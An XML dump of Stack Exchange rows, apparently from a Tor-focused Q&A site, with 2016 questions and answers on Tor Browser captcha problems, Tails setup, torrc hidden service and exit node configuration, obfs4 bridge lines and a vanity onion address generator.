  <row Id="12305" PostTypeId="1" CreationDate="2016-08-05T18:19:38.413" Score="5" ViewCount="8001" Body="&lt;p&gt;Trying to register new Facebook account using TOR browser.&#xA;Security text check (captcha) are not displayed.&#xA;Have tried using Facebook.com and m.Facebook.com and also the onion address. Same blank or null image. Audio captcha do not work too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help.&lt;/p&gt;&#xA;" OwnerUserId="13886" LastEditorUserId="13768" LastEditDate="2016-08-05T20:37:52.140" LastActivityDate="2017-09-23T21:50:33.427" Title="Text verification captcha non visible error while registering facebook via Tor" Tags="|tor-browser-bundle|captcha|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12307" PostTypeId="2" ParentId="12046" CreationDate="2016-08-05T19:16:44.110" Score="1" Body="&lt;p&gt;By &quot;the difference in terms of privacy / anonymity&quot;, what you really mean to say is &quot;in terms of behavior&quot;. And there are some important differences in how they behave:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tails in a VM will not have the behavior of a random MAC address for whatever network you're connected to, making it really easy to establish 'you' between sessions.&lt;/li&gt;&#xA;&lt;li&gt;Using a VM at all means that any successful attacks against the host, also compromises any and all virtual machines.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;TLDR; &quot;Regular&quot; and VMs behave very differently, don't rely on VMs for protection.&lt;/p&gt;&#xA;" OwnerUserId="13888" LastActivityDate="2016-08-05T19:16:44.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12309" PostTypeId="2" ParentId="12305" CreationDate="2016-08-06T05:38:51.677" Score="2" Body="&lt;p&gt;I can reproduce this, I think it's actually a bug in facebook's captcha mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can see, it's requesting &lt;code&gt;/tfbimage.php?captcha_challenge_code=foo&amp;amp;captcha_challenge_auth=bar&lt;/code&gt; and that request is itself receiving a redirect to &lt;code&gt;/login.php?next=&amp;lt;the previous URL for the captcha image&amp;gt;&lt;/code&gt; which obviously doesn't return a captcha image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially it's asking you to login to retrieve the captcha (which you're probably getting...because you're not logged in. derp.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google's recaptcha did a similar thing previously on cloudflare, where requests for the captcha image got 403'd &lt;em&gt;(Forbidden)&lt;/em&gt; so you couldn't fetch the mechanism to show you weren't a bot...because it thought you were a bot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cc @alec-muffett&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case a workaround is to click the &lt;code&gt;Try another text&lt;/code&gt; button which then seems to produce a usable captcha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's not much else to be done from your side except try the workaround, it looks like an issue (or an intentional tactic? ¯\_(ツ)_/¯) on facebook's side&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-06T05:44:41.457" LastActivityDate="2016-08-06T05:44:41.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12313" PostTypeId="1" CreationDate="2016-08-06T20:15:14.803" Score="3" ViewCount="954" Body="&lt;p&gt;So the TOR works basically by sending a encrypted packet across multiple computers.  The packet is encrypted such that only the first computer on the relay knows the user's IP, and the last computer knows the destination IP (i.e the requested website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to find the IP of .onion websites by intercepting the packets at the end node?( Its possible to see the first destination from the packets being sent out by the computer)  And since the TOR Browser is F.O.S.S, could it  be possible to configure TOR to use 3 local servers to act as relay nodes, and intercept the packets sent to the last one, thus exposing the destination IP?&lt;/p&gt;&#xA;" OwnerUserId="13899" LastEditorUserId="7603" LastEditDate="2016-09-01T20:51:18.317" LastActivityDate="2017-10-28T05:16:55.980" Title="Is it possible to find hidden service IPs by compromising an end node of a client connecting to it?" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12315" PostTypeId="1" AcceptedAnswerId="12317" CreationDate="2016-08-06T21:31:15.920" Score="0" ViewCount="707" Body="&lt;p&gt;I just deployed tails on a flash drive, and were busy tweaking it. Is it possible to persistently remove some stock software packages from my copy of tails? I tried to apt-get remove them, but they reappeared on startup. Also, I understand that added applications can be reinstalled each time by caching them at persistent storage and appending them to live-additional-software.conf, but my point is not reverse of this, i.e. actually keeping the packages and removing them at startup. I straight out don't want them to be present and use space in my flash drive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And as a personal comment, who would care to use audacity for a distro based on such specific set of operations anyway? Some default packages look really absurd on tails. Anyways...)&lt;/p&gt;&#xA;" OwnerUserId="12562" LastActivityDate="2020-05-07T22:30:38.043" Title="Can I permenantly remove package from Tails?" Tags="|security|tails|linux|flash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12317" PostTypeId="2" ParentId="12315" CreationDate="2016-08-06T23:15:34.167" Score="1" Body="&lt;p&gt;No, it is not possible to do this. You'd need to remove them each restart, since it stores no short-term state it will always start up with the same set of packages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This always means you'd  need to always be an account with administrator rights, which is something you should avoid doing wherever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to build your own tails, with the packages excluded which is probably going to make things interesting later down the line when you need to upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some outline of the build process in the &lt;a href=&quot;https://tails.boum.org/contribute/build/&quot; rel=&quot;nofollow&quot;&gt;Tails documentation&lt;/a&gt;, and some information on how to customize it can be found &lt;a href=&quot;https://tails.boum.org/contribute/customize/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and the list of packages installed is found &lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-packageslists/tails-common.list?h=2.5&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's going to require more reading on the build process itself and I'm not sure how well it'll play with updates, you may need to rebuild it yourself each time (&quot;upgrade by cloning&quot;), also beware interdependencies and possible violations of expectation (e.g. &quot;is the package being remove called by a script somewhere?&quot;).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-06T23:15:34.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12318" PostTypeId="2" ParentId="12292" CreationDate="2016-08-07T00:03:19.857" Score="3" Body="&lt;p&gt;The Tor Browser Bundle is based on Firefox. The option you clicked is a Firefox feature that removes all of your add-ons and customizations, and resets everything to the default settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you can't download the TorButton and the TorLauncher add-ons, you'll have to download a fresh copy of TBB. Your homepage and shortcuts should be stored in a profile backup, which is usually saved to the Desktop. I'm not sure where TBB would save this, but I'm guessing it would be inside it's own folder somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just tested it and confirmed that using Firefox Reset (or Refresh Tor as it's named here) &lt;strong&gt;will&lt;/strong&gt; break the Tor browser, and you have to re-download the browser. Your bookmarks and other profile data is stored in the Tor Browser folder under Browser/Desktop/Old Firefox Data/profile.default.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="12240" LastEditDate="2016-08-07T23:54:41.733" LastActivityDate="2016-08-07T23:54:41.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12321" PostTypeId="1" CreationDate="2016-08-07T19:14:09.750" Score="2" ViewCount="1350" Body="&lt;p&gt;There is something weird going on. I wanted to enter Tor Browser using a greek IP but can't connect. I think i'm doing everything correct since I am able to connect using US IP, German IP, even New Zealand and Iceland IPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am changing ExitNodes {Country} and saving notepad. It works with other countries as I told you but can't work with ExitNodes {GR}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need specific greek IP for geotagging reason in webTV&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do? All other countries are working... :O&lt;/p&gt;&#xA;" OwnerUserId="13910" LastActivityDate="2021-04-27T14:34:55.647" Title="Can't open Tor Browser with Greek IP" Tags="|ip-address|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12322" PostTypeId="2" ParentId="12321" CreationDate="2016-08-07T22:09:26.093" Score="0" Body="&lt;p&gt;It means there are no exit nodes in Greece right now or you need to make sure you have &lt;code&gt;StrictNodes 1&lt;/code&gt; turned on in conjunction with the country setting or there are ExitNodes in Greece but they are not reporting as such (ExitNodes {??}).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So make sure your torrc has &lt;code&gt;StrictNodes 1&lt;/code&gt; and &lt;code&gt;ExitNodes {gr}&lt;/code&gt; and report back if that works. Case might also matter. Haven't checked if it does or not, so GR vs gr. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastEditorUserId="9508" LastEditDate="2016-08-07T22:15:05.673" LastActivityDate="2016-08-07T22:15:05.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12323" PostTypeId="1" CreationDate="2016-08-08T03:42:38.957" Score="1" ViewCount="741" Body="&lt;p&gt;Tails firewall rules with static IP configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this question is in relation to the connection it self. The unencrypted part of the connection not the part of the connection that goes through tor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested in knowing whether the tails firewall has two different rules sets for static IP/manual as apposed to DHCP connection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Internet connection in your computer is set to static IP/manual can a server/router that has both static IP and DHCP working that is acting as the gateway server that has got hacked send packets (offer and acknowledge replay or options reply in-terms of DHCP)  to the computer that can go through the firewall that is will the firewall drop these packets since I have set my Internet connection to static IP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the static IP connection (Connection between the router and device connection establishing  application only) work as a loop back only or is it unidirectional in-terms of packet used to establish a connection? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the connection ( static IP) is set and at a later sage if the router gets hacked can the router sends packets back (static IP connection establishing packets only)  to the device that is connected to it will these packets get dropped by the firewall? &lt;/p&gt;&#xA;" OwnerUserId="13753" LastEditorUserId="13753" LastEditDate="2016-08-09T04:59:30.687" LastActivityDate="2016-09-08T05:09:47.690" Title="Tails firewall rules with static IP configuration" Tags="|configuration|security|tails|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12324" PostTypeId="1" AcceptedAnswerId="12325" CreationDate="2016-08-08T04:15:01.250" Score="4" ViewCount="3432" Body="&lt;p&gt;I have the same basic issue as &lt;a href=&quot;https://tor.stackexchange.com/questions/4708/what-am-i-doing-wrong-attempting-to-host-multiple-tor-hidden-services-on-one-se&quot;&gt;this question&lt;/a&gt; but it wasn't resolved. I have one functioning service, everything runs fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/www/tor/test1/&#xA;HiddenServicePort 80 127.0.0.1:44403&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I attempt to add another HiddenServiceDir directive like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/www/tor/test1/&#xA;HiddenServiceDir /var/www/tor/test2/&#xA;HiddenServicePort 80 127.0.0.1:44403&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The service in /test1/ fails to connect, but /test2/ loads fine. If I switch the HiddenServiceDir lines around, the top one fails but the second one works fine.&#xA;My lighttpd config looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server.document-root = &quot;/var/www/tor/lighttpddefault/files&quot; &#xA;server.port = 44401&#xA;&#xA;$SERVER[&quot;socket&quot;] == &quot;:44403&quot; { &#xA;  $HTTP[&quot;host&quot;] =~ &quot;(^|\.)XXXXXXXXXXXXXXXX\.onion$&quot; {&#xA;    server.document-root = &quot;/var/www/tor/test1/files&quot; &#xA;  }&#xA;  $HTTP[&quot;host&quot;] =~ &quot;(^|\.)XXXXXXXXXXXXXXXX\.onion$&quot; {&#xA;    server.document-root = &quot;/var/www/tor/test2/files&quot; &#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To answer the questions in the linked question; Tor starts successfully each time, does not throw any error messages. Both directories have the same permission. All keys are Tor generated. &lt;/p&gt;&#xA;" OwnerUserId="13913" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2016-08-08T06:35:23.670" Title="How do I host multiple hidden services? (Multiple addresses)" Tags="|configuration|onion-services|web-hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12325" PostTypeId="2" ParentId="12324" CreationDate="2016-08-08T06:35:23.670" Score="5" Body="&lt;p&gt;HiddenServicePort corresponds to the most recent HiddenServiceDir entry.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  HiddenServicePort VIRTPORT [TARGET]&#xA;       Configure a virtual port VIRTPORT for a hidden service. You may use this option multiple times; each time applies to the service using the most recent&#xA;       HiddenServiceDir. By default, this option maps the virtual port to the same port on 127.0.0.1 over TCP. You may override the target port, address, or both&#xA;       by specifying a target of addr, port, addr:port, or unix:path. (You can specify an IPv6 target as [addr]:port.) You may also have multiple lines with the&#xA;       same VIRTPORT: when a user connects to that VIRTPORT, one of the TARGETs from those lines will be chosen at random.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/www/tor/test1/&#xA;HiddenServicePort 80 127.0.0.1:44403&#xA;HiddenServiceDir /var/www/tor/test2/&#xA;HiddenServicePort 80 127.0.0.1:44403&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you shouldn't be putting your private keys in &lt;code&gt;/var/www&lt;/code&gt;, put them in &lt;code&gt;/var/lib/tor&lt;/code&gt;. The httpd doesn't need to and shouldn't be able to read the private keys for the onion. Only the user that &lt;code&gt;tor&lt;/code&gt; is running as should have access, following the &lt;a href=&quot;https://en.wikipedia.org/wiki/Principle_of_least_privilege&quot; rel=&quot;noreferrer&quot;&gt;principle of least authority&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-08T06:35:23.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12326" PostTypeId="2" ParentId="12323" CreationDate="2016-08-08T07:00:08.850" Score="1" Body="&lt;h3&gt;&amp;quot;two different rules sets for static IP/manual as apposed to DHCP?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No, it has one config that applies to all situations.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;can a server/router [...] send packets [...] that can go through the firewall&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;Yes, otherwise you'd never receive any replies from connection attempts.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;Does the static IP connection work as a loop back only or is it unidirectional?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No, to both. How could you ever receive responses back from the internet if it was &amp;quot;unidirectional&amp;quot; or &amp;quot;loopback&amp;quot;?&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;the router sends packets back to the device [...] will these packets get dropped by the firewall?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No, all of the internet routed packets that you send and receive go through the device. If it dropped them you'd never connect to anything.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The default policy is to drop packets, unless Tails established the connection associated with them or they're on the local loopback interface. See &lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-includes/etc/ferm/ferm.conf#n14&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ferm.conf&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-08-08T07:00:08.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12327" PostTypeId="1" CreationDate="2016-08-08T09:25:57.270" Score="1" ViewCount="327" Body="&lt;p&gt;A TOR node &lt;a href=&quot;http://85.93.218.204/&quot; rel=&quot;nofollow&quot;&gt;http://85.93.218.204/&lt;/a&gt; was used for an online scam and more than 20 falilies were involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we uncover identifiable information (such as IP addresses, devices and etc) of these abuser(s) who used the network so we could proceed with a lawsuit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13914" LastEditorUserId="13768" LastEditDate="2016-09-13T09:55:03.803" LastActivityDate="2017-06-10T16:34:45.070" Title="How do we find out the identities of online scammer(s) who used TOR?" Tags="|exit-relays|deanonymization|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12328" PostTypeId="1" CreationDate="2016-08-08T10:10:11.417" Score="3" ViewCount="1164" Body="&lt;p&gt;I've set up a private obfs4 Tor bridge following the official tutorial, &lt;code&gt;PublishServerDescriptor&lt;/code&gt; set to &lt;code&gt;0&lt;/code&gt;. &lt;code&gt;/var/log/tor/log&lt;/code&gt; shows positive entries so it should be configured correctly. The machine is Ubuntu x64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can find my fingerprint, hashed one, ip:port but I miss some data to be able to use this bridge with tor browser as it asks for 2 more entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find the &quot;cert&quot; and &quot;iat-mode&quot; entries that any obfs4 bridge on &lt;a href=&quot;https://bridges.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org&lt;/a&gt; has??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant find it in the logs and since its a private bridge it wont show up on the lists.&lt;/p&gt;&#xA;" OwnerUserId="13915" LastEditorUserId="88" LastEditDate="2016-08-12T22:55:42.823" LastActivityDate="2016-08-12T22:55:42.823" Title="find needed details of my own private obfs4 Tor bridge" Tags="|bridge|ubuntu|obfs4|private|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12331" PostTypeId="2" ParentId="12328" CreationDate="2016-08-08T16:52:29.307" Score="5" Body="&lt;p&gt;From the obfs4proxy &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfs4.git/tree/README.md&quot; rel=&quot;nofollow&quot;&gt;README&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;The autogenerated obfs4 bridge parameters are placed in&#xA;  &lt;code&gt;DataDir/pt_state/obfs4_state.json&lt;/code&gt;.  To ease deployment, the client side&#xA;  bridge line is written to &lt;code&gt;DataDir/pt_state/obfs4_bridgeline.txt&lt;/code&gt;.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;/var/lib/tor/pt_state/obfs4_bridgeline.txt&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-08T16:52:29.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12332" PostTypeId="1" CreationDate="2016-08-08T17:08:12.837" Score="1" ViewCount="1342" Body="&lt;p&gt;I'm working with some sensitive data, and want it as secure as possible - that said, I'm pretty un-technical, so am trying my best to figure this stuff out.&lt;/p&gt;&#xA;&lt;p&gt;My setup is;&lt;/p&gt;&#xA;&lt;p&gt;USB stick encrypted with bitlocker - encrypted volume made with Veracrypt inside the encrypted USB - and am running Tails through Virtual Box from the Veracrypt container.&lt;/p&gt;&#xA;&lt;h1&gt;1, I have no idea if this is safe or not (i couldn't get tails to boot from multiple USB's, no matter how hard I try&lt;/h1&gt;&#xA;&lt;h1&gt;2 - Is there a way with my current setup I can make a persistent volume with Tails, so I don't have to manually import a PGP key each time?&lt;/h1&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13919" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2022-04-10T21:07:05.670" Title="Creating Persistent Volume In Tails From USB" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12333" PostTypeId="1" CreationDate="2016-08-08T20:23:32.937" Score="1" ViewCount="340" Body="&lt;p&gt;Keep in mind that my knowledge of Tor Bridges specifically is fairly limited (I basically only know that a bridge is an unpublished guard node that you can use to enter the Tor network without anybody realizing it at first, assuming your adversary is not using DPI. I know nothing of pluggable transports).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But take this scenario for example:&#xA;We're behind the Great Firewall of China, which blocks access to all known Tor nodes. Th obvious fix to this is to go to &lt;a href=&quot;https://bridges.torproject.org/bridges&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/bridges&lt;/a&gt; and grab some bridge lines. This presents me with two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why can't the Great Firewall be modified to block access to the Tor Project's website? I understand that it uses SSL, thus cannot necessarily be directly blocked, but firewalls can be configured to spoof a DNS request and return an invalid IP address, can they not? This would block users from accessing the Bridge Database and they would not be able to access Tor without someone from outside the firewall sending them bridges in some other way.&lt;/li&gt;&#xA;&lt;li&gt;What is stopping them from blocking users from downloading the Tor Browser Bundle? This is essentially a duplicate of the question above, but I'd just like to know if I'm missing any facts...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2016-08-08T20:33:28.217" Title="Is there any reason an ISP can't block the BridgeDB?" Tags="|bridge|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12334" PostTypeId="2" ParentId="12333" CreationDate="2016-08-08T20:33:28.217" Score="1" Body="&lt;p&gt;The Tor project website and the download &lt;em&gt;can&lt;/em&gt; be blocked and have been in the past and currently in some locations in the world. That is why they even offer to email you a copy or send you a secure download if you reach out to them on twitter or other means to get a copy. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2016-08-08T20:33:28.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12335" PostTypeId="2" ParentId="12332" CreationDate="2016-08-08T20:35:10.647" Score="0" Body="&lt;p&gt;To boot from USB you will need to change the boot options on your computer either via BIOS or UEFI settings and change priority to boot usb first or select it from the boot start options list for a one time USB boot as necessary. Depending on the brand and hardware, a secure boot mode may be enabled that you will have to disable or turn on legacy boot mode to get this to function properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would definitely not run Tails from a VM for operational purposes other than testing as this would defeat the security of what Tails is meant to do in the first place.&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2016-08-08T20:35:10.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12337" PostTypeId="2" ParentId="12210" CreationDate="2016-08-08T21:51:46.423" Score="1" Body="&lt;p&gt;Alright, I'll throw my hat in the ring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an act of purely passive-aggressive coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we read in words from dictionaries (only using words that contain valid onion values), then we use those words to construct a tree. Each &quot;branch&quot; is a comparison, so if the word starts with 'h', we create an 'h' branch from the root, then and 'e' branch from 'h', and an 'l' branch from 'e', etc. At the end of each word we leave a boolean flag to say that it denotes where a full word ends. Each valid path through the tree represents a word in our dictionary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example 'hello', 'hi', 'helping', and 'help' become a structure like this, where &lt;code&gt;*&lt;/code&gt; denotes the end of a full known word.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[h]___[e]___[l]___[l]___[o]*&#xA;    |_[i]*      |_[p]*__[i]___[n]___[g]*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then we generate our onions, for each letter in the onion address we check if there is a valid branch in our tree. If there is, we follow it and check the next letter against the branches stemming from it. Using this method, we compare the onion address to every word in the dictionary simultaneously, so the number of comparisons to check if a valid word in the dictionary is found is, in the worst case, the length of the onion address regardless of how many words we have in our dictionary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've implemented this in C, and also included libssl code for generating, encoding, matching and saving matches found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a bonus mode where it will match against onion addresses that consist purely of words from the dictionary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is available &lt;a href=&quot;https://github.com/epidemics-scepticism/searchlol&quot; rel=&quot;nofollow&quot;&gt;here, dictionaries not included&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./main -t 7 -d ./words&#xA;Populating search from './words'&#xA;Starting thread 1/7...Done&#xA;[...SNIP...]&#xA;Starting thread 7/7...Done&#xA;Starting search. Use ctrl-c to exit.&#xA;main: found 'wannakgcqdivzm4p'&#xA;main: found 'culchndmw4lufstt'&#xA;main: found 'butte3ittosuqf7y'&#xA;main: found 'fading25mmobu3rc'&#xA;main: found 'flake7cjdl2e4wg6'&#xA;^CCleaning up...&#xA;Stopping thread 1/7...Done&#xA;[...SNIP...]&#xA;Stopping thread 7/7...Done&#xA;Bye o/&#xA;$ cat fading25mmobu3rc&#xA;-----BEGIN RSA PRIVATE KEY-----&#xA;MII[...SNIP...]&#xA;-----END RSA PRIVATE KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-09T20:44:51.830" LastActivityDate="2016-08-09T20:44:51.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12338" PostTypeId="2" ParentId="12142" CreationDate="2016-08-08T22:43:15.693" Score="0" Body="&lt;p&gt;I found the problem was resolved by deleting the Tor data-dir directory and then restarting.&lt;/p&gt;&#xA;" OwnerUserId="10759" LastActivityDate="2016-08-08T22:43:15.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12339" PostTypeId="1" AcceptedAnswerId="12509" CreationDate="2016-08-09T11:46:00.833" Score="2" ViewCount="2278" Body="&lt;p&gt;I'm trying to use obfs4proxy compiled from &lt;a href=&quot;https://github.com/Yawning/obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yawning/obfs4&lt;/a&gt;, but when I run it in the console, it says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[ERROR]: obfs4proxy.exe - must be run as a managed transport&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have seen &lt;a href=&quot;https://tor.stackexchange.com/questions/8625/how-can-i-start-obfs4proxy-exe-without-starting-tor-browser&quot;&gt;this question&lt;/a&gt;. However, I don't need Tor at all, what I want is to use obfs4proxy together with openvpn. Actually, after I install Tor browser and specify the absolute path of obfs4proxy in &lt;code&gt;torrc&lt;/code&gt; and &lt;code&gt;torrc-default&lt;/code&gt; file, the error remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if there is a way to just use obfs4proxy in the command line without even installing Tor browser. Do I have to rewrite the code to achieve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Tgn&lt;/p&gt;&#xA;" OwnerUserId="13870" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-09-03T10:16:31.293" Title="How to use obfs4proxy.exe merely in a console?" Tags="|configuration|windows|obfsproxy|obfs4|obfs4proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12341" PostTypeId="1" CreationDate="2016-08-09T12:44:02.343" Score="14" ViewCount="85929" Body="&lt;p&gt;For months I've been using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo systemctl start tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I just realized we can start tor by simply typing &quot;tor&quot; into a terminal. What's the proper/safest way to start and stop tor.service?&lt;/p&gt;&#xA;" OwnerUserId="13933" LastActivityDate="2021-07-12T23:43:04.443" Title="How to properly start tor service" Tags="|configuration|security|ubuntu|torsocks|startup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
